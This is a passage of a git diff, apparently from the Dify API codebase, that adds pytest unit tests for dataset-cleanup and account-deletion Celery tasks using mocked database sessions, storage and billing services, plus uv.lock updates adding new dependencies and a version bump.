+        mock_index_processor_factory["factory"].assert_called_once_with(valid_doc_form)
+
+
+# ============================================================================
+# Test Error Handling
+# ============================================================================
+
+
+class TestErrorHandling:
+    """Test cases for error handling and recovery."""
+
+    def test_clean_dataset_task_vector_cleanup_failure_continues(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+        mock_document,
+        mock_segment,
+    ):
+        """
+        Test that document cleanup continues even if vector cleanup fails.
+
+        Scenario:
+        - IndexProcessor.clean() raises an exception
+        - Document and segment deletion should still proceed
+
+        Expected behavior:
+        - Exception is caught and logged
+        - Documents and segments are still deleted
+        - Session is committed
+        """
+        # Arrange
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents
+            [mock_segment],  # segments
+        ]
+        mock_index_processor_factory["processor"].clean.side_effect = Exception("Vector database error")
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert - documents and segments should still be deleted
+        mock_db_session.session.delete.assert_any_call(mock_document)
+        mock_db_session.session.delete.assert_any_call(mock_segment)
+        mock_db_session.session.commit.assert_called_once()
+
+    def test_clean_dataset_task_storage_delete_failure_continues(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that cleanup continues even if storage deletion fails.
+
+        Scenario:
+        - Segment contains image file references
+        - Storage.delete() raises an exception
+        - Cleanup should continue
+
+        Expected behavior:
+        - Exception is caught and logged
+        - Image file record is still deleted from database
+        - Other cleanup operations proceed
+        """
+        # Arrange
+        # Need at least one document for segment processing to occur (code is in else block)
+        mock_document = MagicMock()
+        mock_document.id = str(uuid.uuid4())
+        mock_document.tenant_id = tenant_id
+        mock_document.data_source_type = "website"  # Non-upload type to avoid file deletion
+
+        mock_segment = MagicMock()
+        mock_segment.id = str(uuid.uuid4())
+        mock_segment.content = "Test content with image"
+
+        mock_upload_file = MagicMock()
+        mock_upload_file.id = str(uuid.uuid4())
+        mock_upload_file.key = "images/test-image.jpg"
+
+        image_file_id = mock_upload_file.id
+
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents - need at least one for segment processing
+            [mock_segment],  # segments
+        ]
+        mock_get_image_upload_file_ids.return_value = [image_file_id]
+        mock_db_session.session.query.return_value.where.return_value.first.return_value = mock_upload_file
+        mock_storage.delete.side_effect = Exception("Storage service unavailable")
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert - storage delete was attempted for image file
+        mock_storage.delete.assert_called_with(mock_upload_file.key)
+        # Image file should still be deleted from database
+        mock_db_session.session.delete.assert_any_call(mock_upload_file)
+
+    def test_clean_dataset_task_database_error_rollback(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that database session is rolled back on error.
+
+        Scenario:
+        - Database operation raises an exception
+        - Session should be rolled back to prevent dirty state
+
+        Expected behavior:
+        - Session.rollback() is called
+        - Session.close() is called in finally block
+        """
+        # Arrange
+        mock_db_session.session.commit.side_effect = Exception("Database commit failed")
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_db_session.session.rollback.assert_called_once()
+        mock_db_session.session.close.assert_called_once()
+
+    def test_clean_dataset_task_rollback_failure_still_closes_session(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that session is closed even if rollback fails.
+
+        Scenario:
+        - Database commit fails
+        - Rollback also fails
+        - Session should still be closed
+
+        Expected behavior:
+        - Session.close() is called regardless of rollback failure
+        """
+        # Arrange
+        mock_db_session.session.commit.side_effect = Exception("Commit failed")
+        mock_db_session.session.rollback.side_effect = Exception("Rollback failed")
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_db_session.session.close.assert_called_once()
+
+
+# ============================================================================
+# Test Pipeline and Workflow Deletion
+# ============================================================================
+
+
+class TestPipelineAndWorkflowDeletion:
+    """Test cases for pipeline and workflow deletion."""
+
+    def test_clean_dataset_task_with_pipeline_id(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        pipeline_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that pipeline and workflow are deleted when pipeline_id is provided.
+
+        Expected behavior:
+        - Pipeline record is deleted
+        - Related workflow record is deleted
+        """
+        # Arrange
+        mock_query = mock_db_session.session.query.return_value
+        mock_query.where.return_value = mock_query
+        mock_query.delete.return_value = 1
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+            pipeline_id=pipeline_id,
+        )
+
+        # Assert - verify delete was called for pipeline-related queries
+        # The actual count depends on total queries, but pipeline deletion should add 2 more
+        assert mock_query.delete.call_count >= 7  # 5 base + 2 pipeline/workflow
+
+    def test_clean_dataset_task_without_pipeline_id(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that pipeline/workflow deletion is skipped when pipeline_id is None.
+
+        Expected behavior:
+        - Pipeline and workflow deletion queries are not executed
+        """
+        # Arrange
+        mock_query = mock_db_session.session.query.return_value
+        mock_query.where.return_value = mock_query
+        mock_query.delete.return_value = 1
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+            pipeline_id=None,
+        )
+
+        # Assert - verify delete was called only for base queries (5 times)
+        assert mock_query.delete.call_count == 5
+
+
+# ============================================================================
+# Test Segment Attachment Cleanup
+# ============================================================================
+
+
+class TestSegmentAttachmentCleanup:
+    """Test cases for segment attachment cleanup."""
+
+    def test_clean_dataset_task_with_attachments(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that segment attachments are cleaned up properly.
+
+        Scenario:
+        - Dataset has segment attachments with associated files
+        - Both binding and file records should be deleted
+
+        Expected behavior:
+        - Storage.delete() is called for each attachment file
+        - Attachment file records are deleted from database
+        - Binding records are deleted from database
+        """
+        # Arrange
+        mock_binding = MagicMock()
+        mock_binding.attachment_id = str(uuid.uuid4())
+
+        mock_attachment_file = MagicMock()
+        mock_attachment_file.id = mock_binding.attachment_id
+        mock_attachment_file.key = f"attachments/{uuid.uuid4()}.pdf"
+
+        # Setup execute to return attachment with binding
+        mock_db_session.session.execute.return_value.all.return_value = [(mock_binding, mock_attachment_file)]
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_storage.delete.assert_called_with(mock_attachment_file.key)
+        mock_db_session.session.delete.assert_any_call(mock_attachment_file)
+        mock_db_session.session.delete.assert_any_call(mock_binding)
+
+    def test_clean_dataset_task_attachment_storage_failure(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that cleanup continues even if attachment storage deletion fails.
+
+        Expected behavior:
+        - Exception is caught and logged
+        - Attachment file and binding are still deleted from database
+        """
+        # Arrange
+        mock_binding = MagicMock()
+        mock_binding.attachment_id = str(uuid.uuid4())
+
+        mock_attachment_file = MagicMock()
+        mock_attachment_file.id = mock_binding.attachment_id
+        mock_attachment_file.key = f"attachments/{uuid.uuid4()}.pdf"
+
+        mock_db_session.session.execute.return_value.all.return_value = [(mock_binding, mock_attachment_file)]
+        mock_storage.delete.side_effect = Exception("Storage error")
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert - storage delete was attempted
+        mock_storage.delete.assert_called_once()
+        # Records should still be deleted from database
+        mock_db_session.session.delete.assert_any_call(mock_attachment_file)
+        mock_db_session.session.delete.assert_any_call(mock_binding)
+
+
+# ============================================================================
+# Test Upload File Cleanup
+# ============================================================================
+
+
+class TestUploadFileCleanup:
+    """Test cases for upload file cleanup."""
+
+    def test_clean_dataset_task_deletes_document_upload_files(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that document upload files are deleted.
+
+        Scenario:
+        - Document has data_source_type = "upload_file"
+        - data_source_info contains upload_file_id
+
+        Expected behavior:
+        - Upload file is deleted from storage
+        - Upload file record is deleted from database
+        """
+        # Arrange
+        mock_document = MagicMock()
+        mock_document.id = str(uuid.uuid4())
+        mock_document.tenant_id = tenant_id
+        mock_document.data_source_type = "upload_file"
+        mock_document.data_source_info = '{"upload_file_id": "test-file-id"}'
+        mock_document.data_source_info_dict = {"upload_file_id": "test-file-id"}
+
+        mock_upload_file = MagicMock()
+        mock_upload_file.id = "test-file-id"
+        mock_upload_file.key = "uploads/test-file.txt"
+
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents
+            [],  # segments
+        ]
+        mock_db_session.session.query.return_value.where.return_value.first.return_value = mock_upload_file
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_storage.delete.assert_called_with(mock_upload_file.key)
+        mock_db_session.session.delete.assert_any_call(mock_upload_file)
+
+    def test_clean_dataset_task_handles_missing_upload_file(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that missing upload files are handled gracefully.
+
+        Scenario:
+        - Document references an upload_file_id that doesn't exist
+
+        Expected behavior:
+        - No error is raised
+        - Cleanup continues normally
+        """
+        # Arrange
+        mock_document = MagicMock()
+        mock_document.id = str(uuid.uuid4())
+        mock_document.tenant_id = tenant_id
+        mock_document.data_source_type = "upload_file"
+        mock_document.data_source_info = '{"upload_file_id": "nonexistent-file"}'
+        mock_document.data_source_info_dict = {"upload_file_id": "nonexistent-file"}
+
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents
+            [],  # segments
+        ]
+        mock_db_session.session.query.return_value.where.return_value.first.return_value = None
+
+        # Act - should not raise exception
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_storage.delete.assert_not_called()
+        mock_db_session.session.commit.assert_called_once()
+
+    def test_clean_dataset_task_handles_non_upload_file_data_source(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that non-upload_file data sources are skipped.
+
+        Scenario:
+        - Document has data_source_type = "website"
+
+        Expected behavior:
+        - No file deletion is attempted
+        """
+        # Arrange
+        mock_document = MagicMock()
+        mock_document.id = str(uuid.uuid4())
+        mock_document.tenant_id = tenant_id
+        mock_document.data_source_type = "website"
+        mock_document.data_source_info = None
+
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents
+            [],  # segments
+        ]
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert - storage delete should not be called for document files
+        # (only for image files in segments, which are empty here)
+        mock_storage.delete.assert_not_called()
+
+
+# ============================================================================
+# Test Image File Cleanup
+# ============================================================================
+
+
+class TestImageFileCleanup:
+    """Test cases for image file cleanup in segments."""
+
+    def test_clean_dataset_task_deletes_image_files_in_segments(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that image files referenced in segment content are deleted.
+
+        Scenario:
+        - Segment content contains image file references
+        - get_image_upload_file_ids returns file IDs
+
+        Expected behavior:
+        - Each image file is deleted from storage
+        - Each image file record is deleted from database
+        """
+        # Arrange
+        # Need at least one document for segment processing to occur (code is in else block)
+        mock_document = MagicMock()
+        mock_document.id = str(uuid.uuid4())
+        mock_document.tenant_id = tenant_id
+        mock_document.data_source_type = "website"  # Non-upload type
+
+        mock_segment = MagicMock()
+        mock_segment.id = str(uuid.uuid4())
+        mock_segment.content = '<img src="file://image-1"> <img src="file://image-2">'
+
+        image_file_ids = ["image-1", "image-2"]
+        mock_get_image_upload_file_ids.return_value = image_file_ids
+
+        mock_image_files = []
+        for file_id in image_file_ids:
+            mock_file = MagicMock()
+            mock_file.id = file_id
+            mock_file.key = f"images/{file_id}.jpg"
+            mock_image_files.append(mock_file)
+
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents - need at least one for segment processing
+            [mock_segment],  # segments
+        ]
+
+        # Setup a mock query chain that returns files in sequence
+        mock_query = MagicMock()
+        mock_where = MagicMock()
+        mock_query.where.return_value = mock_where
+        mock_where.first.side_effect = mock_image_files
+        mock_db_session.session.query.return_value = mock_query
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        assert mock_storage.delete.call_count == 2
+        mock_storage.delete.assert_any_call("images/image-1.jpg")
+        mock_storage.delete.assert_any_call("images/image-2.jpg")
+
+    def test_clean_dataset_task_handles_missing_image_file(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that missing image files are handled gracefully.
+
+        Scenario:
+        - Segment references image file ID that doesn't exist in database
+
+        Expected behavior:
+        - No error is raised
+        - Cleanup continues
+        """
+        # Arrange
+        # Need at least one document for segment processing to occur (code is in else block)
+        mock_document = MagicMock()
+        mock_document.id = str(uuid.uuid4())
+        mock_document.tenant_id = tenant_id
+        mock_document.data_source_type = "website"  # Non-upload type
+
+        mock_segment = MagicMock()
+        mock_segment.id = str(uuid.uuid4())
+        mock_segment.content = '<img src="file://nonexistent-image">'
+
+        mock_get_image_upload_file_ids.return_value = ["nonexistent-image"]
+
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents - need at least one for segment processing
+            [mock_segment],  # segments
+        ]
+
+        # Image file not found
+        mock_db_session.session.query.return_value.where.return_value.first.return_value = None
+
+        # Act - should not raise exception
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_storage.delete.assert_not_called()
+        mock_db_session.session.commit.assert_called_once()
+
+
+# ============================================================================
+# Test Edge Cases
+# ============================================================================
+
+
+class TestEdgeCases:
+    """Test edge cases and boundary conditions."""
+
+    def test_clean_dataset_task_multiple_documents_and_segments(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test cleanup of multiple documents and segments.
+
+        Scenario:
+        - Dataset has 5 documents and 10 segments
+
+        Expected behavior:
+        - All documents and segments are deleted
+        """
+        # Arrange
+        mock_documents = []
+        for i in range(5):
+            doc = MagicMock()
+            doc.id = str(uuid.uuid4())
+            doc.tenant_id = tenant_id
+            doc.data_source_type = "website"  # Non-upload type
+            mock_documents.append(doc)
+
+        mock_segments = []
+        for i in range(10):
+            seg = MagicMock()
+            seg.id = str(uuid.uuid4())
+            seg.content = f"Segment content {i}"
+            mock_segments.append(seg)
+
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            mock_documents,
+            mock_segments,
+        ]
+        mock_get_image_upload_file_ids.return_value = []
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert - all documents and segments should be deleted
+        delete_calls = mock_db_session.session.delete.call_args_list
+        deleted_items = [call[0][0] for call in delete_calls]
+
+        for doc in mock_documents:
+            assert doc in deleted_items
+        for seg in mock_segments:
+            assert seg in deleted_items
+
+    def test_clean_dataset_task_document_with_empty_data_source_info(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test handling of document with empty data_source_info.
+
+        Scenario:
+        - Document has data_source_type = "upload_file"
+        - data_source_info is None or empty
+
+        Expected behavior:
+        - No error is raised
+        - File deletion is skipped
+        """
+        # Arrange
+        mock_document = MagicMock()
+        mock_document.id = str(uuid.uuid4())
+        mock_document.tenant_id = tenant_id
+        mock_document.data_source_type = "upload_file"
+        mock_document.data_source_info = None
+
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents
+            [],  # segments
+        ]
+
+        # Act - should not raise exception
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_storage.delete.assert_not_called()
+        mock_db_session.session.commit.assert_called_once()
+
+    def test_clean_dataset_task_session_always_closed(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that database session is always closed regardless of success or failure.
+
+        Expected behavior:
+        - Session.close() is called in finally block
+        """
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_db_session.session.close.assert_called_once()
+
+
+# ============================================================================
+# Test IndexProcessor Parameters
+# ============================================================================
+
+
+class TestIndexProcessorParameters:
+    """Test cases for IndexProcessor clean method parameters."""
+
+    def test_clean_dataset_task_passes_correct_parameters_to_index_processor(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that correct parameters are passed to IndexProcessor.clean().
+
+        Expected behavior:
+        - with_keywords=True is passed
+        - delete_child_chunks=True is passed
+        - Dataset object with correct attributes is passed
+        """
+        # Arrange
+        indexing_technique = "high_quality"
+        index_struct = '{"type": "paragraph"}'
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique=indexing_technique,
+            index_struct=index_struct,
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_index_processor_factory["processor"].clean.assert_called_once()
+        call_args = mock_index_processor_factory["processor"].clean.call_args
+
+        # Verify positional arguments
+        dataset_arg = call_args[0][0]
+        assert dataset_arg.id == dataset_id
+        assert dataset_arg.tenant_id == tenant_id
+        assert dataset_arg.indexing_technique == indexing_technique
+        assert dataset_arg.index_struct == index_struct
+        assert dataset_arg.collection_binding_id == collection_binding_id
+
+        # Verify None is passed as second argument
+        assert call_args[0][1] is None
+
+        # Verify keyword arguments
+        assert call_args[1]["with_keywords"] is True
+        assert call_args[1]["delete_child_chunks"] is True
diff --git a/api/tests/unit_tests/tasks/test_delete_account_task.py b/api/tests/unit_tests/tasks/test_delete_account_task.py
new file mode 100644
index 0000000000..3b148e63f2
--- /dev/null
+++ b/api/tests/unit_tests/tasks/test_delete_account_task.py
@@ -0,0 +1,112 @@
+"""
+Unit tests for delete_account_task.
+
+Covers:
+- Billing enabled with existing account: calls billing and sends success email
+- Billing disabled with existing account: skips billing, sends success email
+- Account not found: still calls billing when enabled, does not send email
+- Billing deletion raises: logs and re-raises, no email
+"""
+
+from types import SimpleNamespace
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+from tasks.delete_account_task import delete_account_task
+
+
+@pytest.fixture
+def mock_db_session():
+    """Mock the db.session used in delete_account_task."""
+    with patch("tasks.delete_account_task.db.session") as mock_session:
+        mock_query = MagicMock()
+        mock_session.query.return_value = mock_query
+        mock_query.where.return_value = mock_query
+        yield mock_session
+
+
+@pytest.fixture
+def mock_deps():
+    """Patch external dependencies: BillingService and send_deletion_success_task."""
+    with (
+        patch("tasks.delete_account_task.BillingService") as mock_billing,
+        patch("tasks.delete_account_task.send_deletion_success_task") as mock_mail_task,
+    ):
+        # ensure .delay exists on the mail task
+        mock_mail_task.delay = MagicMock()
+        yield {
+            "billing": mock_billing,
+            "mail_task": mock_mail_task,
+        }
+
+
+def _set_account_found(mock_db_session, email: str = "user@example.com"):
+    account = SimpleNamespace(email=email)
+    mock_db_session.query.return_value.where.return_value.first.return_value = account
+    return account
+
+
+def _set_account_missing(mock_db_session):
+    mock_db_session.query.return_value.where.return_value.first.return_value = None
+
+
+class TestDeleteAccountTask:
+    def test_billing_enabled_account_exists_calls_billing_and_sends_email(self, mock_db_session, mock_deps):
+        # Arrange
+        account_id = "acc-123"
+        account = _set_account_found(mock_db_session, email="a@b.com")
+
+        # Enable billing
+        with patch("tasks.delete_account_task.dify_config.BILLING_ENABLED", True):
+            # Act
+            delete_account_task(account_id)
+
+        # Assert
+        mock_deps["billing"].delete_account.assert_called_once_with(account_id)
+        mock_deps["mail_task"].delay.assert_called_once_with(account.email)
+
+    def test_billing_disabled_account_exists_sends_email_only(self, mock_db_session, mock_deps):
+        # Arrange
+        account_id = "acc-456"
+        account = _set_account_found(mock_db_session, email="x@y.com")
+
+        # Disable billing
+        with patch("tasks.delete_account_task.dify_config.BILLING_ENABLED", False):
+            # Act
+            delete_account_task(account_id)
+
+        # Assert
+        mock_deps["billing"].delete_account.assert_not_called()
+        mock_deps["mail_task"].delay.assert_called_once_with(account.email)
+
+    def test_account_not_found_billing_enabled_calls_billing_no_email(self, mock_db_session, mock_deps, caplog):
+        # Arrange
+        account_id = "missing-id"
+        _set_account_missing(mock_db_session)
+
+        # Enable billing
+        with patch("tasks.delete_account_task.dify_config.BILLING_ENABLED", True):
+            # Act
+            delete_account_task(account_id)
+
+        # Assert
+        mock_deps["billing"].delete_account.assert_called_once_with(account_id)
+        mock_deps["mail_task"].delay.assert_not_called()
+        # Optional: verify log contains not found message
+        assert any("not found" in rec.getMessage().lower() for rec in caplog.records)
+
+    def test_billing_delete_raises_propagates_and_no_email(self, mock_db_session, mock_deps):
+        # Arrange
+        account_id = "acc-err"
+        _set_account_found(mock_db_session, email="err@ex.com")
+        mock_deps["billing"].delete_account.side_effect = RuntimeError("billing down")
+
+        # Enable billing
+        with patch("tasks.delete_account_task.dify_config.BILLING_ENABLED", True):
+            # Act & Assert
+            with pytest.raises(RuntimeError):
+                delete_account_task(account_id)
+
+        # Ensure email was not sent
+        mock_deps["mail_task"].delay.assert_not_called()
diff --git a/api/uv.lock b/api/uv.lock
index 44703a0247..8d0dffbd8f 100644
--- a/api/uv.lock
+++ b/api/uv.lock
@@ -291,6 +291,22 @@ dependencies = [
 ]
 sdist = { url = "https://files.pythonhosted.org/packages/32/eb/5e82e419c3061823f3feae9b5681588762929dc4da0176667297c2784c1a/alibabacloud_tea_xml-0.0.3.tar.gz", hash = "sha256:979cb51fadf43de77f41c69fc69c12529728919f849723eb0cd24eb7b048a90c", size = 3466, upload-time = "2025-07-01T08:04:55.144Z" }
 
+[[package]]
+name = "aliyun-log-python-sdk"
+version = "0.9.37"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "dateparser" },
+    { name = "elasticsearch" },
+    { name = "jmespath" },
+    { name = "lz4" },
+    { name = "protobuf" },
+    { name = "python-dateutil" },
+    { name = "requests" },
+    { name = "six" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/90/70/291d494619bb7b0cbcc00689ad995945737c2c9e0bff2733e0aa7dbaee14/aliyun_log_python_sdk-0.9.37.tar.gz", hash = "sha256:ea65c9cca3a7377cef87d568e897820338328a53a7acb1b02f1383910e103f68", size = 152549, upload-time = "2025-11-27T07:56:06.098Z" }
+
 [[package]]
 name = "aliyun-python-sdk-core"
 version = "2.16.0"
@@ -1293,6 +1309,21 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/c3/be/d0d44e092656fe7a06b55e6103cbce807cdbdee17884a5367c68c9860853/dataclasses_json-0.6.7-py3-none-any.whl", hash = "sha256:0dbf33f26c8d5305befd61b39d2b3414e8a407bedc2834dea9b8d642666fb40a", size = 28686, upload-time = "2024-06-09T16:20:16.715Z" },
 ]
 
+[[package]]
+name = "dateparser"
+version = "1.2.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "python-dateutil" },
+    { name = "pytz" },
+    { name = "regex" },
+    { name = "tzlocal" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a9/30/064144f0df1749e7bb5faaa7f52b007d7c2d08ec08fed8411aba87207f68/dateparser-1.2.2.tar.gz", hash = "sha256:986316f17cb8cdc23ea8ce563027c5ef12fc725b6fb1d137c14ca08777c5ecf7", size = 329840, upload-time = "2025-06-26T09:29:23.211Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/87/22/f020c047ae1346613db9322638186468238bcfa8849b4668a22b97faad65/dateparser-1.2.2-py3-none-any.whl", hash = "sha256:5a5d7211a09013499867547023a2a0c91d5a27d15dd4dbcea676ea9fe66f2482", size = 315453, upload-time = "2025-06-26T09:29:21.412Z" },
+]
+
 [[package]]
 name = "decorator"
 version = "5.2.1"
@@ -1337,9 +1368,10 @@ wheels = [
 
 [[package]]
 name = "dify-api"
-version = "1.11.0"
+version = "1.11.1"
 source = { virtual = "." }
 dependencies = [
+    { name = "aliyun-log-python-sdk" },
     { name = "apscheduler" },
     { name = "arize-phoenix-otel" },
     { name = "azure-identity" },
@@ -1515,6 +1547,7 @@ vdb = [
     { name = "clickzetta-connector-python" },
     { name = "couchbase" },
     { name = "elasticsearch" },
+    { name = "intersystems-irispython" },
     { name = "mo-vector" },
     { name = "mysql-connector-python" },
     { name = "opensearch-py" },
@@ -1536,6 +1569,7 @@ vdb = [
 
 [package.metadata]
 requires-dist = [
+    { name = "aliyun-log-python-sdk", specifier = "~=0.9.37" },
     { name = "apscheduler", specifier = ">=3.11.0" },
     { name = "arize-phoenix-otel", specifier = "~=0.9.2" },
     { name = "azure-identity", specifier = "==1.16.1" },
@@ -1711,6 +1745,7 @@ vdb = [
     { name = "clickzetta-connector-python", specifier = ">=0.8.102" },
     { name = "couchbase", specifier = "~=4.3.0" },
     { name = "elasticsearch", specifier = "==8.14.0" },
+    { name = "intersystems-irispython", specifier = ">=5.1.0" },
     { name = "mo-vector", specifier = "~=0.1.13" },
     { name = "mysql-connector-python", specifier = ">=9.3.0" },
     { name = "opensearch-py", specifier = "==2.4.0" },
@@ -2918,6 +2953,18 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" },
 ]
 
